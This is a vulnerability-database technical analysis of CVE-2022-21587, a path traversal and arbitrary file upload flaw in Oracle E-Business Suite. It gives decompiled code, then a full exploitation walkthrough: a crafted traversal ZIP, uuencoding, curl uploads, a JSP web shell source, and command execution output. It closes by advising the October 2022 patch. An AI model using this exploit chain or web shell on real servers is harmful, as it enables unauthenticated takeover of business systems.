Attacker Value
Very High
(1 user assessed)
Very High
(1 user assessed)
User Interaction
Privileges Required
Attack Vector


Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.


Vulnerability in the Oracle Web Applications Desktop Integrator product of Oracle E-Business Suite (component: Upload). Supported versions that are affected are 12.2.3-12.2.11. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Web Applications Desktop Integrator. Successful attacks of this vulnerability can result in takeover of Oracle Web Applications Desktop Integrator. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

General Information


  • Oracle Corporation


  • Web Applications Desktop Integrator

Exploited in the Wild

Reported by:

Additional Info

Technical Analysis


Oracle E-Business Suite (EBS) is a packaged collection of enterprise applications for a wide variety of tasks such as customer relationship management (CRM), enterprise resource planning (ERP) or human capital management (HCM).

In October 2022, Oracle published a Critical Patch Update Advisory to remediate several issues across its products, including CVE-2022-21587, an arbitrary file upload vulnerability rated 9.8 on the CVSS v3 risk metric which affects Oracle Web Applications Desktop Integrator as shipped with Oracle EBS versions 12.2.3 through to 12.2.11.

CVE-2022-21587 can lead to unauthenticated remote code execution. On January 16 2023, Viettel Security published an analysis of the issue, detailing the root cause and a method of leveraging the vulnerability to gain code execution via a Perl payload. An exploit based on the Viettel Security analysis technique was published on GitHub by “HMs” on 6 February 2023. Oracle have credited “l1k3beef” as the original discoverer of the vulnerability.

Our analysis reveals it is also possible to leverage a Java Server Page (JSP) based payload during exploitation in order to gain arbitrary code execution.

Technical Analysis

Oracle EBS applications are deployed as enterprise Java applications running on a WebLogic server instance, which by default will listen for HTTP connections on TCP port 8000. The oacore application exposes several endpoints as configured through the file /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/oacore/html/WEB-INF/web.xml, as shown below. Of interest are the endpoints that are serviced by classes inheriting from the BneAbstractXMLServlet servlet, specifically the /OA_HTML/BneViewerXMLService, /OA_HTML/BneDownloadService, /OA_HTML/BneOfflineLOVService, and /OA_HTML/BneUploaderService endpoints. While the publicly available exploit targets the /OA_HTML/BneUploaderService endpoint, all four endpoints are vulnerable to the same issue.












We can examine how a HTTP POST request to one of the above endpoints is handled by the BneAbstractXMLServlet servlet via the doRequest method below. If the request contains multipart form data [1] a HTTP request parameter bne:uueupload is checked to see if it contains the value true [2], if found the multipart request will have a suffix of .uue associated with its files [3] before the multipart request data is processed further via the method doUpload [4].

// /u01/install/APPS/fs1/EBSapps/comn/java/classes/oracle/apps/bne/framework/BneAbstractXMLServlet.class

  public String getMultipartFileNameSuffix(boolean paramBoolean) {
    if (paramBoolean)
      return ".uue"; // <--- [3]
    return ".xml";
  public void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    doRequest(paramHttpServletRequest, paramHttpServletResponse);
  public void doRequest(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    BneSitePropertyManager bneSitePropertyManager = BneSitePropertyManager.getInstance();
    try {
      BneOracleWebAppsContext bneOracleWebAppsContext;
      BneContext.getLogInstance().log(7, "Enter BneAbstractXMLServlet.doRequest()");
      boolean bool1 = allowGuestSession();
      boolean bool2 = allowBneLogin();
      boolean bool3 = includeMessagesElement();
      boolean bool4 = disableBneWebAppsContextRelease();
      BneWebAppsContext bneWebAppsContext = null;
      BneBaseBajaContext bneBaseBajaContext = null;
      PageEvent pageEvent = null;
      BneXMLPrintWriter bneXMLPrintWriter = null;
      try {
        bneWebAppsContext = BneAbstractWebAppsContext.getContext(paramHttpServletRequest, paramHttpServletResponse);
        BneResourceString.setLangOnThread(paramHttpServletRequest, bneWebAppsContext.getLanguage());
        bneBaseBajaContext = new BneBaseBajaContext(this, paramHttpServletRequest, paramHttpServletResponse);
        if (BneSecurity.isBneDisabled(bneWebAppsContext)) {
          if (bneXMLPrintWriter == null)
            bneXMLPrintWriter = new BneXMLPrintWriter(bneWebAppsContext, paramHttpServletRequest, paramHttpServletResponse); 
          outputErrorDocument(new BneErrorMessage(BneResourceString.getMlsString("GLB_ER_NO_ACCESS"), null, null, "BNE-020003"), (PrintWriter)bneXMLPrintWriter, bool3);
          bool4 = false;
        if ("post".equalsIgnoreCase(paramHttpServletRequest.getMethod()) && MultipartFormHandler.isMultipartRequest((ServletRequest)paramHttpServletRequest)) { // <--- [1]
          BneContext.getLogInstance().log(7, "BneAbstractXMLServlet.doRequest(), MultipartFileDirectoryName = " + getMultipartFileDirectoryName() + " prefix = " + getMultipartFileNamePrefix());
          BneMultipartRequest bneMultipartRequest = new BneMultipartRequest(paramHttpServletRequest, getMultipartFileDirectoryName());
          String str = paramHttpServletRequest.getParameter("bne:uueupload");
          if (str != null && str.length() > 0 && str.equalsIgnoreCase("TRUE")) { // <--- [2]
          } else {
          bneMultipartRequest.doUpload(); // <--- [4]

The doUpload method will iterate over every item in the multipart request [1] and call the doUploadFile method to handle the upload of that specific item [2].

// /u01/install/APPS/fs1/EBSapps/comn/java/classes/oracle/apps/bne/framework/BneMultipartRequest.class

  public void doUpload() throws IOException {
    this._logger.log(7, "BneMultipartRequest.doUpload(): Start");
    String str = this._request.getQueryString();
    if (str != null) {
      Hashtable hashtable = HttpUtils.parseQueryString(str);
      Enumeration<String> enumeration = hashtable.keys();
      while (enumeration.hasMoreElements()) {
        String str1 = enumeration.nextElement();
        put(str1, hashtable.get(str1));
    this._logger.log(7, "BneMultipartRequest.doUpload(): queryString " + str);
    this._logger.log(7, "BneMultipartRequest.doUpload(): Content-Type " + this._request.getContentType() + " content-length: " + this._request.getContentLength());
    MultipartFormHandler multipartFormHandler = new MultipartFormHandler((ServletRequest)this._request);
    MultipartFormItem multipartFormItem;
    while ((multipartFormItem = multipartFormHandler.getNextPart()) != null) { // <--- [1]
      String str1 = multipartFormItem.getName();
      String str2 = null;
      this._logger.log(7, "BneMultipartRequest.doUpload(): item.getName is: " + str1);
      if (str1.equals("uploadfilename"))
        this._logger.log(7, "BneMultipartRequest.doUpload(): item.getFilename is: " + multipartFormItem.getFilename()); 
      if (multipartFormItem.getFilename() == null) {
        str2 = multipartFormItem.getValue();
        this._logger.log(7, "BneMultipartRequest.doUpload(): item.getValue() is: " + str2);
      } else if (multipartFormItem.getFilename().length() > 0) {
        if (this.m_validMultipartParameterNames != null && !this.m_validMultipartParameterNames.containsKey(str1)) {
          this._logger.log(4, "BneMultipartRequest.doUpload(): Unknown Multipart file item ignored: " + str1);
        this._logger.log(7, "BneMultipartRequest.doUpload(): going to doUploadFile of item ");
        if (multipartFormItem.getFilename().endsWith(".xlsx"))
        str2 = doUploadFile(multipartFormItem); // <--- [2]

The doUploadFile method will write the multipart file item to a temporary file [1] so that it can be processed. If the temporary file name contains the string uue, it will be handled as a special case. We can note that as mentioned earlier, by passing a HTTP request parameter of bne:uueupload we can force a suffix of .uue to be appended to the temporary file so as to satisfy this check [2]. The file is expected to be encoded with the binary to text encoding mechanism called uuencode, after decoding the text file back into a binary file via the doDecode method [3], the resulting binary file is expected to be a ZIP archive which is then processed via the method doUnZip [4].

// /u01/install/APPS/fs1/EBSapps/comn/java/classes/oracle/apps/bne/framework/BneMultipartRequest.class

  private String doUploadFile(MultipartFormItem paramMultipartFormItem) throws IOException {
    this._logger.log(7, "BneMultipartRequest.doUploadFile(): Start");
    File file = BneIOUtils.createTemporaryFile(this._uploadStagingDirectory, this._filePrefix, this._fileSuffix);
    while (file.exists())
      file = BneIOUtils.createTemporaryFile(this._uploadStagingDirectory, this._filePrefix, this._fileSuffix); 
    this._logger.log(7, "BneMultipartRequest.doUploadFile(): Content Type is: " + paramMultipartFormItem.getContentType());
    this._logger.log(7, "BneMultipartRequest.doUploadFile(): File Name in item is: " + paramMultipartFormItem.getFilename());
    String str = file.toString();
    FileOutputStream fileOutputStream = new FileOutputStream(str);
    this._logger.log(7, "BneMultipartRequest.doUploadFile(): file location is: " + str);
    paramMultipartFormItem.writeFile(fileOutputStream); // <--- [1]
    if (file.getName().contains("uue")) { // <--- [2]
      BneDecoder bneDecoder = new BneDecoder(new FileInputStream(file));
      String str1 = bneDecoder.doDecode(); // <--- [3]
      this._logger.log(7, "BneMultipartRequest.doUploadFile(): Zip file is: " + str1);
      BneUnZip bneUnZip = new BneUnZip();
      String str2 = bneUnZip.doUnZip(str1); // <--- [4]

The doUnZip method is vulnerable to a path traversal issue which allows an attacker to write the contents of a ZIP file entry to an arbitrary location on the target system. First, the value of the BNE_UPLOAD_STAGING_DIRECTORY application property is retrieved [1]. This is the path where UUE decoded files are stored during doDecode above, and where the ZIP file entries are expected to be extracted to. By default this location is /u01/install/APPS/fs1/EBSapps/appl/bne/12.0.0/upload. The entries in the ZIP file are iterated over [2] and for each entry in the ZIP file, a path is constructed to extract the entry into. This path is a concatenation of the staging directory and the current entries name [3]. If the entries name contains double dot path specifiers ../ then the contents of the entry can be written to a location outside of the staging directory [4]. For example if a ZIP file contains an entry with the name ../../../../../foo.hax then the entry will be extracted to the location /u01/install/APPS/fs1/EBSapps/appl/bne/12.0.0/upload/../../../../../foo.hax which has a canonical form of /u01/install/APPS/fs1/foo.hax.

// /u01/install/APPS/fs1/EBSapps/comn/java/classes/oracle/apps/bne/utilities/BneUnZip.class

  public String doUnZip(String paramString) throws IOException {
    String str1 = new String("");
    String str2 = new String("");
    BneContext.getLogInstance().log(7, "BneUnZip.doUpZip Enter fileName: " + paramString);
    str1 = BneSitePropertyManager.getInstance().getProperty("BNE_UPLOAD_STAGING_DIRECTORY"); // <--- [1]
    try {
      BufferedOutputStream bufferedOutputStream = null;
      FileInputStream fileInputStream = new FileInputStream(paramString);
      ZipInputStream zipInputStream = new ZipInputStream(new BufferedInputStream(fileInputStream));
      ZipEntry zipEntry;
      while ((zipEntry = zipInputStream.getNextEntry()) != null) { // <--- [2]
        byte[] arrayOfByte = new byte[2048];
        str2 = str1 + System.getProperty("file.separator") + zipEntry.getName(); // <--- [3]
        FileOutputStream fileOutputStream = new FileOutputStream(str2);
        BneContext.getLogInstance().log(7, "BneUnZip.doUpZip entry.getName() " + zipEntry.getName());
        bufferedOutputStream = new BufferedOutputStream(fileOutputStream, 2048);
        int i;
        while ((i =, 0, 2048)) != -1) {
          bufferedOutputStream.write(arrayOfByte, 0, i); // <--- [4]


We can demonstrate the ability to upload an arbitrary file with a few commands, first we will create an arbitrary file to upload:

$ echo hax > foo.hax

We can then use the slipit tool to generate a ZIP file with an entry whose name contains several double dot path specifiers. We will choose 5 double dot specifiers in order to traverse from the path /u01/install/APPS/fs1/EBSapps/appl/bne/12.0.0/upload to the path /u01/install/APPS/fs1/ where we want to write our file.

$ slipit --overwrite --separator '/' --depth 5 foo.hax
$ slipit
File Name                                             Modified             Size
../../../../../foo.hax                         2023-02-08 10:42:16            4

We then uuencode the ZIP file.

$ uuencode > foo.uue
$ cat foo.uue
begin 777

Before finally issuing a POST request to one of the four vulnerable endpoints.

$ curl -F upload=@foo.uue

If we SSH into the Oracle EBS appliance we can now observe the file foo.hax has been uploaded to a location we control.

[oracle@apps scripts]$ ls -al /u01/install/APPS/fs1
total 12
drwxr-xr-x.  5 oracle oinstall   64 Feb  8 05:45 .
drwxr-xr-x. 10 oracle oinstall 4096 Dec  4  2020 ..
drwxr-xr-x.  5 oracle oinstall   44 Nov 22  2020 EBSapps
drwxr-x---. 11 oracle oinstall 4096 Nov 22  2020 FMW_Home
-rw-r--r--.  1 oracle oinstall    4 Feb  8 05:45 foo.hax
drwxr-xr-x.  3 oracle oinstall   18 Nov 18  2020 inst
[oracle@apps scripts]$ cat /u01/install/APPS/fs1/foo.hax


To demonstrate arbitrary code execution Viettel Security demonstrated how a Perl web shell may be uploaded to the location /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/common/scripts/ An attacker may then pass arbitrary commands to this web shell by issuing requests to the /OA_CGI/FNDWRR.exe endpoint which will in turn execute the attacker’s Perl web shell script. Viettel notes that whitelisting is in place to prevent arbitrary Java Server Pages (JSP) being uploaded, however our analysis has shown it is still possible to upload arbitrary JSP, such as a JSP web shell or a more advanced JSP payload, by targeting a location in the Oracle EBS WebLogic forms module.

First we create the basic JSP web shell we want to upload.

$ cat <<EOT >> hax.jsp
<%@ page import="java.util.*,*"%>
String cmd = request.getParameter("cmd");
if(cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String line = dis.readLine();
    while(line != null) {
        line = dis.readLine(); 

We then add this JSP file to a ZIP archive using slipit to leverage the path traversal issue. We will write our JSP web shell to the location /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/forms/forms/hax.jsp.

$ slipit --overwrite --separator '/' --depth 5 --prefix '/FMW_Home/Oracle_EBS-app1/applications/forms/forms/' hax.jsp

We then uuencode the ZIP archive.

$ uuencode > hax.uue

We leverage the vulnerability to upload our JSP web shell.

$ curl -F upload=@hax.uue

Before finally leveraging the JSP web shell to execute an arbitrary command. We can see we now have code execution as the user oracle.

$ curl

uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall),54322(dba) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


As an official patch for this issue is available from Oracle, we recommend all affected Oracle EBS users should apply the October 2022 patch.